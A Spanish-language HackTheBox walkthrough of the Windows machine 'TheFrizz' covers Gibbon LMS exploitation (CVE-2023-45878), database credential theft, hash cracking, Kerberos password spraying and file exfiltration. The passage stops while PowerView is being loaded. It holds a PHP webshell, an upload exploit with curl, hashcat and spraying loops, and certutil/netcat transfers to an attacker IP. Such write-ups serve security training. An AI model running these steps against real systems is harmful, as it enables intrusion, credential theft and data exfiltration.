TheFrizz – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“TheFrizz” es una máquina de dificultad Media de la plataforma HackTheBox
. La máquina víctima está corriendo un entorno Active Directory
junto con una página wweb. El servicio web se encuentra utilizando una versión vulnerable del software Gibbon
a CVE-2023-45878, el cual permite escribir archivos en el sistema y puede ser concatenado en una ejecución remota de comandos. Con la webshell obtenida, somos capaces de encontrar credenciales en una base de datos MySQL
para un usuario del dominio. Usando aquellas credenciales, solicitamos un ticket de Kerberos
y lo utilizamos para logueqarnos por medio del servicio SSH
. Una vez dentro, entontramos credenciales en la “Papelera” para otro usuario en el dominio. Este segundo usuario puede modificar y linkear GPO
que afectan a la máquina host; permitiéndonos agregar a este segundo usuario como adminsitrador local y comprometer el sistema.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
buscando por puertos TCP
abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.60
Podemos ver múltiples puertos abiertos: 22
SSH
, 53
Domain Name System
(DNS
), 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
(LDAP
), 445
Server Message Block
(SMB
); entre otros. Aplicando algunos scripts de reconocimiento utilizando la flag -sVC
sobre estos puertos identificados obtenemos ahora:
❯ sudo nmap -sVC -p22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49668,49670,56168,59754,59763 10.10.11.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 04:59 -03
Nmap scan report for 10.10.11.60
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-17 14:59:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
56168/tcp open msrpc Microsoft Windows RPC
59754/tcp open msrpc Microsoft Windows RPC
59763/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-03-17T15:00:31
|_ start_date: N/A
|_clock-skew: 7h00m03s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.82 seconds
La máquina está corriendo Kerberos
, lo cual indica que podríamos estar ante un entorno Active Directory
.
Del output puedo notar 2 cosas: el puerto 80
redirige al sitio y subdominio frizzdc.frizz.htb
; mientras que el servicio LDAP
muestra un dominio: frizz.htb
.
Podemos también usar NetExec
contra el servicio SMB
para obtener dominios y FQDNs para esta máquina:
❯ nxc smb 10.10.11.60
SMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
Interesantemente, no obtenemos dominio alguno por medio del servicio SMB
.
Podríamos tratar de obtener de igual manera obtener información con enum4linux-ng
(el cual puede ser descaragado desde su repositorio de Github):
❯ python3 enum4linux-ng.py 10.10.11.60
<SNIP>
======================================================
| Domain Information via LDAP for 10.10.11.60 |
======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: frizz.htb
<SNIP>
Pero, nuevamente, sólo encontramos el dominio frizz.htb
del servicio LDAP
.
Por ende, agregamos el posible nombre de la máquina (frizzdc
), su FQDN (frizzdc.frizz.htb
) y dominio (frizz.htb
) hallado de la página HTTP
a nuestro archivo /etc/hosts
en nuestra máquina de atacantes junto con la IP de la máquina víctima:
❯ echo '10.10.11.60 frizzdc frizzdc.frizz.htb frizz.htb' | sudo tee -a /etc/hosts
Si usamos WhatWeb
contra el sitio web, la máquina se encuentra corriendo Apache
para Windows
:
❯ whatweb -a 3 http://frizzdc.frizz.htb
http://frizzdc.frizz.htb [302 Found] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], OpenSSL[3.1.3], PHP[8.2.12], RedirectLocation[http://frizzdc.frizz.htb/home/], Title[302 Found]
http://frizzdc.frizz.htb/home/ [200 OK] Apache[2.4.58], Bootstrap[3.3.5], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], JQuery, Modernizr[2.6.2.min], OpenSSL[3.1.3], PHP[8.2.12], Script, Title[Education — Walkerville Elementary School], X-UA-Compatible[IE=edge]
Visitando http://frizzdc.frizz.htb
en un navegadaor de internet muestra:
La página ofrece cursos en diferentes áreas tales como música, bliología, hacking, entre otros.
En la parte superior derecha podemos ver un botón que dice Staff Login
. Clickeando sobre éste redirige a http://frizzdc.frizz.htb/Gibbon-LMS/
. Allí podemos ver:
Basados en la url, y también del texto al final de la página, el sitio se encuentra corriendo Gibbon
.
Gibbon
by EduGorilla
is an online education platform software that allows creators, educators, educational institutions, and schools to start their own branded mobile app and website.Para obtener más información acertca de este software podemos ir al sitio oficial de Gibbon. En este caso en específico, basados en el texto inferior de la página, tenemos una versión: v25.0.00
. Buscando por gibbon 25.0.00 exploit
nos lleva a una vulnerabilidad catalogada como CVE-2023-45878, la cual afecta a versiones hasta 25.0.01
; lo cual nos indica que la máquina objetivo debería de ser vulnerable. Esta vulnerabilidad permite Arbitrary File Write
(escribir archivos en el sistema), lo cual puede converger en Remote Code Execution
(RCE
, o ejecución remota de comandos). También encontramos este post explicando la vulnerabilidad y dando una Proof of Concept (PoC, o “prueba de concepto”). El post explica cómo podemos subir una imagen que es, en realidad, una webshell. Mirando el código del repositorio de Gibbons podemos ver que podemos publicar contenido:
$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');
Luego, el software decodea la “imagen” en la línea 32:
// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img) = explode(',', $img);
$img = base64_decode($img);
Lo cual indica que la imagen puede ser encodeada en base64
y luego decodeada.
No obstante, en la línea 49 este contenido es escrito utilizando la función fwrite
de PHP
:
// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);
Es decir, podemos escribir archivos a través de “imágenes” que en realidad puede ser código codificado.
En el mismo blog proporcionan una simple porción de código para abusar de esta vulnerabilidad a través de HTTP
con método POST
en una petición:
POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: localhost:8080
[...]
img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001
Donde asdf.php
es un archivo que puede ser una webshell.
Para obtener una webshell podemos crear un simple archivo en nuestra máquina de atacantes y guardarla como webshell.php
:
❯ echo '<?php system($_REQUEST["cmd"]); ?>' > webshell.php
Podemos entonces subir el archivo (webshell.php
) usando cURL
abusando de la vulnerabilidad; guardando el archivo en la máquina víctima como gunzf0x.php
:
❯ FILENAME='gunzf0x'; curl -s -X POST 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' -d "img=image/png;$FILENAME,$(cat webshell.php | base64 -w0)" -d "path=$FILENAME.php" -d "gibbonPersonID=0000000001"
Debería de haber funcionado y podríamos usar esta webshell para ejecutar comandos remotamente. De asquí he de recalcar que el archivo que hemos subido se llama webshell.php
, pero hemos nombrado y guardado el archivo en el servidor víctima como gunzf0x.php
.
Ahora podríamos visitar, por ejemplo:
http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php?cmd=whoami
En un navegador de internet como Firefox
, o podríamos correr comandos solamente usando cURL
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=whoami'
frizz\w.webservice
Somos el usuario w.webservice
.
gunzf0x.php
en este caso) es removida luego de algunos minutos. Podemos ejecutar los comandos previos con cURL
para volver a subirla sin problemas.Por alguna razón, si tratamos de obtener una reverse shell utilizando algunas técnicas como el payload PowerShell
oneliner de Reverse Shell Generator
(https://revshells.com) o subimos un binario de netcat
para Windows
para luego intentar obtener una conexión no funciona. Supongo que algún firewall está bloqueando la conexión. No obstante -y por suerte-, esta webshell obtenida no es lenta; por lo que continuaremos utilizándola. Revisando la carpeta actual (C:\xampp\htdocs\Gibbon-LMS
) muestra un archivo config.php
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=dir"
Volume in drive C has no label.
Volume Serial Number is D129-C3DA
Directory of C:\xampp\htdocs\Gibbon-LMS
03/17/2025 10:13 AM <DIR> .
10/29/2024 07:28 AM <DIR> ..
01/20/2023 07:04 AM 634 .htaccess
01/20/2023 07:04 AM 197,078 CHANGEDB.php
01/20/2023 07:04 AM 103,023 CHANGELOG.txt
01/20/2023 07:04 AM 2,972 composer.json
01/20/2023 07:04 AM 294,353 composer.lock
10/11/2024 08:15 PM 1,307 config.php
01/20/2023 07:04 AM 3,733 error.php
01/20/2023 07:04 AM 1,608 export.php
<SNIP>
Leemos aquel archivo:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=type .\config.php"
Cuyo contenido es:
<?php
<SNIP>
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
/**
* Sets a globally unique id, to allow multiple installs on a single server.
*/
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
/**
* Sets system-wide caching factor, used to balance performance and freshness.
* Value represents number of page loads between cache refresh.
* Must be positive integer. 1 means no caching.
*/
$caching = 10;
Tenemos credenciales para una base de datos MySQL
.
Revisamos por puertos internos abiertros, filtrando por puertos TCP
con grep
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=netstat -ano" | grep 'TCP'
<SNIP>
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 656
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 656
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 528
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 1916
<SNIP>
El puerto 3306
está abierto, el cual es el puerto por defecto para MySQL
.
Antes de complicarnos la vida y crear un túnel para acceder a este servicio interno, veamos si podemos interactuar con el servicio MySQL
con lo que hay ya instalado en la máquina víctima. Podemos buscar si existe algún binario de MySQL
en algún lugar en el directorio C:\xampp
ejecutando:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=where /r C:\xampp mysql.exe"
C:\xampp\mysql\bin\mysql.exe
Tenemos un binario localizado en C:\xampp\mysql\bin\mysql.exe
.
Por tanto, usamos este binario junto con las credenciales encontradas previamente para ver si tenemos acceso a la base de datos. También usamos la flag -e
para pasar las queries a través de ésta, ya que no tenemos una consola interactiva:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "SELECT VERSION()"'
VERSION()
10.4.32-MariaDB
Funcionó.
Empezamos a buscar información en la base de datos. Tenemos muchísimas tablas:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SHOW TABLES;"'
Tables_in_gibbon
gibbonaction
gibbonactivity
gibbonactivityattendance
gibbonactivityslot
gibbonactivitystaff
gibbonactivitystudent
gibbonactivitytype
gibbonadmissionsaccount
gibbonadmissionsapplication
<SNIP>
Buscando por gibbon db passwords
nos lleva a este post de un foro de Gibbon. Allí se menciona que la tabla gibbonPerson
debería de contener credenciales.
Revisamos el contenido de la tabla mencionada:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT * FROM gibbonperson;"'
gibbonPersonID title surname firstName preferredName officialName nameInCharacters gender username passwordStrong passwordStrongSalt passwordForceReset status canLogin gibbonRoleIDPrimary gibbonRoleIDAll dob email emailAlternate image_240 lastIPAddress lastTimestamp lastFailIPAddress lastFailTimestamp failCount address1 address1District address1Country address2 address2District address2Country phone1Type phone1CountryCode phone1 phone3Type phone3CountryCode phone3 phone2Type phone2CountryCode phone2 phone4Type phone4CountryCode phone4 website languageFirst languageSecond languageThird countryOfBirth birthCertificateScan ethnicity religion profession employer jobTitle emergency1Name emergency1Number1 emergency1Number2 emergency1Relationship emergency2Name emergency2Number1 emergency2Number2 emergency2Relationship gibbonHouseID studentID dateStart dateEnd gibbonSchoolYearIDClassOf lastSchool nextSchool departureReason transport transportNotes calendarFeedPersonal viewCalendarSchool viewCalendarPersonal viewCalendarSpaceBooking gibbonApplicationFormID lockerNumber vehicleRegistration personalBackground messengerLastRead privacy dayType gibbonThemeIDPersonal gibboni18nIDPersonal studentAgreements googleAPIRefreshToken microsoftAPIRefreshToken genericAPIRefreshToken receiveNotificationEmails mfaSecret mfaToken cookieConsent fields
0000000001 Ms. Frizzle Fiona Fiona Fiona Frizzle Unspecified f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489 N Full Y 001 001 NULL f.frizzle@frizz.htb NULL NULL ::1 2024-10-29 09:28:59 NULL NULL 0 NULL NULL NULL NULL Y Y N NULL NULL NULL NULL NULLNULL NULL Y NULL NULL NULL
Seleccionamos columnas interesantes, tales como username
, passwordStrong
y passwordStrongSalt
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT username,passwordStrong,passwordStrongSalt FROM gibbonperson;"'
username passwordStrong passwordStrongSalt
f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489
Tenemos un usuario llamado f.frizzle
junto con un hash y su sal.
Este parece ser un hash de tipo SHA-256
. Buscando en ejemplos de hashes para Hashcat, los modos 1410
o 1420
parecen ser los correctos para hashes SHA256
con sal. Guardamos el hash junto con su sal separados por :
en un archivo llamado ffrizzle_hash
:
❯ cat ffrizzle_hash
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489
Usamos Hashcat
para intentar crackear este hash. El mode 1420
funciona junto con el diccionario rockyou.txt
:
❯ hashcat -a 0 -m 1420 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1420 (sha256($salt.$pass))
Hash.Target......: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff...Vz2489
Time.Started.....: Mon Mar 17 08:08:32 2025 (5 secs)
<SNIP>
Obtenemos una contraseña: Jenni_Luvs_Magic23
.
Revisamos si esta credencial sirve para el servicio SMB
con NetExec
:
❯ nxc smb 10.10.11.60 -u 'f.frizzle' -p 'Jenni_Luvs_Magic23'
SMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60\f.frizzle:Jenni_Luvs_Magic23 STATUS_NOT_SUPPORTED
Pero obtenemos el mensaje STATUS_NOT_SUPPORTED
.
Obtuvimos algo similar en la máquina HTB Vintage. Revisando documentación de Microsoft buscando por el significado de este error encontramos, básicamente, que el servidor no entiende o no está habilitado para entender la data que se está enviando. Por lo que es altamente probable que la autenticación por NTLM
esté deshabilitada.
Tal cual hicimos en la máquina HTB Vintage podemos tratar de utilizar el servicio de Kerberos
para autenticarnos. Para este propósito podemos tratar de obtener un Ticket Granting Ticket
(TGT
) a través de la herramienta getTGT.py
de Impacket
; ticket el cual nos servirá para autenticarnos como el usuario f.frizzle
ante Kerberos
:
❯ impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Nuestro viejo enemigo KRB_AP_ERR_SKEW(Clock skew too great)
está aquí.
Podemos evadir este error utilizando faketime
junto con ntpdate
(ambos instalables ejecutando sudo apt install faketime ntpdate -y
en una terminal):
❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in f.frizzle.ccache
Obtenemos exitosamente un ticket de Kerberos
, más específicamente un TGT
, para el usuario f.frizzle
.
Algo que aprendí de esta máquina, es que los tickets de Kerberos
también se pueden utilizar para autenticarse ante el servicio SSH
. Ergo, usamos el TGT
obtenido junto con la flag -K
para SSH
. Por ejemplo, podemos loguearnos ejecutando:
❯ KRB5CCNAME=f.frizzle.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p 'Jenni_Luvs_Magic23' ssh -o stricthostkeychecking=no -K f.frizzle@frizz.htb
PowerShell 7.4.5
PS C:\Users\f.frizzle>
Nice. Podemos extraer la flag de usuario.
NT Authority/System - Administrador Link to heading
Mirando en el directorio C:\
sólo podemos ver carpetas típicas de una máquina Windows
:
PS C:\Users\f.frizzle> ls C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 3/10/2025 3:39 PM inetpub
d---- 5/8/2021 1:15 AM PerfLogs
d-r-- 2/26/2025 8:13 AM Program Files
d---- 5/8/2021 2:34 AM Program Files (x86)
d-r-- 10/29/2024 7:31 AM Users
d---- 3/10/2025 3:41 PM Windows
d---- 10/29/2024 7:28 AM xampp
Pero si buscamos por carpetas ocultas utilizando el comando ls
junto con la opción -force
de PowerShell
la cosa cambia; podemos ver más directorios:
PS C:\Users\f.frizzle> ls C:\ -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM $RECYCLE.BIN
d--h- 3/10/2025 3:31 PM $WinREAgent
d--hs 2/20/2025 2:51 PM Config.Msi
l--hs 10/29/2024 9:12 AM Documents and Settings -> C:\Users
d---- 3/10/2025 3:39 PM inetpub
d---- 5/8/2021 1:15 AM PerfLogs
d-r-- 2/26/2025 8:13 AM Program Files
d---- 5/8/2021 2:34 AM Program Files (x86)
d--h- 2/20/2025 2:50 PM ProgramData
d--hs 10/29/2024 9:12 AM Recovery
d--hs 10/29/2024 7:25 AM System Volume Information
d-r-- 10/29/2024 7:31 AM Users
d---- 3/10/2025 3:41 PM Windows
d---- 10/29/2024 7:28 AM xampp
-a-hs 10/29/2024 8:27 AM 12288 DumpStack.log.tmp
Tenemos una carpeta “Recycle Bin” (o “Papelera” en español).
Chequeando esta nueva carpeta muestra:
PS C:\Users\f.frizzle> Get-ChildItem -Path 'C:\$RECYCLE.BIN' -Force -Recurse
Directory: C:\$RECYCLE.BIN
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
-a-hs 10/29/2024 7:31 AM 129 desktop.ini
Hay 2 archivos .7z
. Podemos tratar de descargar el que es más pesado, llamado $RE2XMEG.7z
.
Para este propósito podemos transferir un binario de netcat
a la máquina víctima y usarlo. Empezamos un servidor temporal HTTP
con Python
por el puerto 8000
en nuestra máquina de atacantes:
❯ ls -la && python3 -m http.server 8000
total 9976
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Mar 18 01:36 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Mar 17 04:46 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 4687 Mar 17 08:45 evil_winrm_kerberos.py
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Mar 17 06:34 nc64.exe
-rw-rw-r-- 1 gunzf0x gunzf0x 35 Mar 17 06:53 webshell.php
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Y, en la máquian víctima, usamos certutil
para descargar el binario nc64.exe
desde nuestra máquina de atacantes a la máquina víctima:
PS C:\Users\f.frizzle> certutil.exe -urlcache -f -split http://10.10.16.4:8000/nc64.exe C:\Users\f.frizzle\Downloads\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Empezamos un nuevo listenre con netcat
en nuestra máquina de atacantes, guardando toda la data que será recibida en un archivo llamado $RE2XMEG.7z
:
❯ nc -lvnp 443 > $RE2XMEG.7z
listening on [any] 443 ...
Luego, en la máquina víctima, usamos el binario transferido de netcat
para pasar el archivo de la Papelera a nuestra máquina de atacantes:
PS C:\Users\f.frizzle> cmd.exe /c 'C:\Users\f.frizzle\Downloads\nc.exe 10.10.16.4 443 < C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z'
Luego de un tiempo, podemos apretar Ctrl+C
en nuestra máquina de atacantes; el archivo debería haberse transferido con éxito.
Tenemos un archivo .7z
file. Usamos 7z
para extraer su contenido en una carpeta llamada recycle_bin_content
:
❯ 7z x $RE2XMEG.7z -o'recycle_bin_content'
<SNIP>
Los archivos extraídos pesan 150 MBs:
❯ du -sh recycle_bin_content
150M recycle_bin_content
Revisando qué son estos archivos, éstos parecen ser archivos para WAPT server
de Windows
con Python
:
WAPT server
is a software and configuration deployment tool that can be used to install, update, and remove software on Windows
, Linux
, and MacOS
devices. It can be used to manage the lifecycle of Windows
applicationsWAPT
es una herramienta para instalar, remover y actualizar otras herramientas.Tenemos bastantes archivos:
❯ ls -la recycle_bin_content/wapt | head
total 45012
drwxrwxr-x 18 gunzf0x gunzf0x 4096 Oct 23 01:18 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Mar 18 02:19 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 6147 Sep 10 2024 auth_module_ad.py
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Oct 23 01:12 cache
-rw-rw-r-- 1 gunzf0x gunzf0x 412462 Sep 10 2024 common.py
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 23 01:12 conf
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 23 00:35 conf.d
-rw-rw-r-- 1 gunzf0x gunzf0x 5730 Sep 10 2024 COPYING.txt
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 23 01:16 db
Buscando por wapt server config file
(archivos de configuración) retorna esta página. Allí se habla de un archivo llamado wapserver.ini
. Buscamos este archivo con el comando find
:
❯ find recycle_bin_content -name '*waptserver.ini*' 2>/dev/null
recycle_bin_content/wapt/conf/waptserver.ini
recycle_bin_content/wapt/conf/waptserver.ini.template
El archivo existe.
Leemos su contenido:
❯ cat recycle_bin_content/wapt/conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
Tenemos lo que parece ser una contraseña en base64
. Decodeando ésta encontramos:
❯ echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
!suBcig@MehTed!R
Tenemos una potencial contraseña: !suBcig@MehTed!R
.
Para ver si esta es la contraseña de algún usuario en el dominio, extraemos usuarios del dominio con el comando dsquery
:
PS C:\Users\f.frizzle> dsquery user
"CN=Administrator,CN=Users,DC=frizz,DC=htb"
"CN=Guest,CN=Users,DC=frizz,DC=htb"
"CN=krbtgt,CN=Users,DC=frizz,DC=htb"
"CN=f.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.li,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=h.arm,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=M.SchoolBus,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=d.hudson,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=k.franklin,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=l.awesome,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=t.wright,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=r.tennelli,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=J.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=a.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=p.terese,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=v.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=g.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.sandiego,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=m.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.Webservice,OU=Class_Frizz,DC=frizz,DC=htb"
O de manera más limpia sólo extrayendo usuarios:
PS C:\Users\f.frizzle> (dsquery user) | ForEach-Object { ($_ -split ',')[0] -replace 'CN=' -replace '"' }
Administrator
Guest
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice
Guardamos todos aquellos usuarios en un archivo llamado domain_users.txt
en nuestra máquina de atacantes.
En un oneliner de bash Bash
tratamos de solicitar tickets de Kerberos
(TGTs
) para cualquiera de estos usuarios utilizando la contraseña encontrada; esto en una especie de Password Spray
, pero solicitando tickets de Kerberos
:
❯ for user in $(cat domain_users.txt); do echo "[+] Attempting to extract ticket for user $user"; faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/$user:'!suBcig@MehTed!R' -dc-ip frizz.htb && echo "[+] Ticket for user $user extracted" || echo "[-] Could not extract ticket for user $user"; done
<SNIP>
[+] Attempting to extract ticket for user M.SchoolBus
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in M.SchoolBus.ccache
[+] Ticket for user M.SchoolBus extracted
<SNIP>
Obtenemos un ticket para el usuario M.SchoolBus
.
Password Spray
con Kerbrute
, pero en mi caso no funcionó.Nos logueamos como este nuevo usuario utilizando su ticket a través de SSH
:
❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb
PowerShell 7.4.5
PS C:\Users\M.SchoolBus> whoami
frizz\m.schoolbus
En este punto podemos tratar de exportar PowerView.ps1
(el cual puede ser descargado desde su repositorio de Github). Exponemos este módulo a través de un servidor HTTP
temporal con Python
por el puerto 8000
, de la misma manera a como lo habíamos hecho previamente con el binario de netcat
. Desde la máquina víctima, importamos el módulo:
